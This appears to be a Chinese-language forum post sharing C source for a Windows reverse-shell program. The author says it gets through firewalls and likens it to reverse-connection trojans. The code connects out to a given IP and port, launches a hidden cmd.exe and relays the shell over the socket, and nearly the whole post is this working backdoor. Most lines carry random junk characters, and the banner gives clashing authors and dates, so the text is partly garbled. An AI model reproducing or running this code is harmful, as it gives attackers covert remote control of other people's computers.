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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 'lHtz ~[  
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/* ============================== i5(_.1X<#{  
Rebound port in Windows NT t8U)za  
By wind,2006/7 TEE$1RxV(  
===============================*/ E"x 2jP  
#include ;TEZD70r  
#include YEXJ h!X  
9 /t}S6b{  
#pragma comment(lib,"wsock32.lib") 66[yL(*+  
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void OutputShell(); 1;?b-FEq:  
SOCKET sClient; dWg$yH  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 2j=3i@  
O8[dPm W  
void main(int argc,char **argv) Oa$ ew'  
{ V<\:iNXX{  
WSADATA stWsaData; b0rC\^x  
int nRet; A:cc @ku  
SOCKADDR_IN stSaiClient,stSaiServer; z }R-J/xr2  
q ^n6"&;*  
if(argc != 3) {>5z~OV  
{ V. 1sb pI  
printf("Useage:\n\rRebound DestIP DestPort\n"); e1[kgp   
return; qdAz3iye  
} lh(A=hn"n  
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WSAStartup(MAKEWORD(2,2),&stWsaData); kFw3'OZ,  
{1#5\t>9yD  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9cQKXh:R.  
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stSaiClient.sin_family = AF_INET; ]\+bx=  
stSaiClient.sin_port = htons(0); Gvtd )9^<  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); &.K8c phj  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) j8hb  
{ ZT"?W $  
printf("Bind Socket Failed!\n"); :* /<eT_  
return; gG*O&gQY  
} p!hewtb5  
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stSaiServer.sin_family = AF_INET; nO\|43W  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); O >n L;I  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ~ Y4H)r  
h:a5FK@  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 8p-5.GU)<e  
{ R+]Fh4t  
printf("Connect Error!"); P-7!\[];te  
return; wAF>C[<\  
} 96}/;e]@  
OutputShell(); `w[0q?}"`  
} ( J\D"4q  
v~L} :  
void OutputShell() 8{4I6;e-  
{ xZGR<+t  
char szBuff[1024]; `axNeqM  
SECURITY_ATTRIBUTES stSecurityAttributes; 3P^eD:) w  
OSVERSIONINFO stOsversionInfo; `i f*   
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; n!ea)+^  
STARTUPINFO stStartupInfo; O|4~$7  
char *szShell; W=GNo9:  
PROCESS_INFORMATION stProcessInformation; Dr7,>Yx  
unsigned long lBytesRead; cK@O)Ko}  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Af5In9WB5  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); y;;^o6Gnw  
stSecurityAttributes.lpSecurityDescriptor = 0; w{I60|C]*  
stSecurityAttributes.bInheritHandle = TRUE; Q]{DhDz ?+  
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iMk`t:!;#"  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); k8Qv>z  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); va~:oA  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); `z Z=#p/  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $`{}4,5M  
stStartupInfo.wShowWindow = SW_HIDE; ]r'b(R; S  
stStartupInfo.hStdInput = hReadPipe; 4) /tCv  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; I".d>]16|  
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GetVersionEx(&stOsversionInfo); 7:jSP$  
q^"P_pV\  
switch(stOsversionInfo.dwPlatformId) .zBSjh_=H  
{ n." j0kc7=  
case 1: #uuwzE*M_  
szShell = "command.com"; }eEF/o  
break; 6&.[ :IHw  
default: q^(A6W  
szShell = "cmd.exe"; *M"lUw#(f  
break; r>$jMo.S"  
} <ywxz1i  
TD!QqLW  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); r}"T y  
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send(sClient,szMsg,77,0); {3_M&$jN  
while(1) @zsr.d6Q  
{ ,i>5\Yl%  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); U~Uxs\0:  
if(lBytesRead) luat1#~J  
{ FZj tQ{M  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); k}F;e_  
send(sClient,szBuff,lBytesRead,0); (a&.Ad0{  
} >'Y]C\  
else #<yR:3  
{ m feyR  
lBytesRead=recv(sClient,szBuff,1024,0); i+21tG$  
if(lBytesRead<=0) break; _4[kg)#+  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); bL swq  
} 34s:|w6y  
} vlEd=H,LT  
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return; ${6 ;]ye  
}
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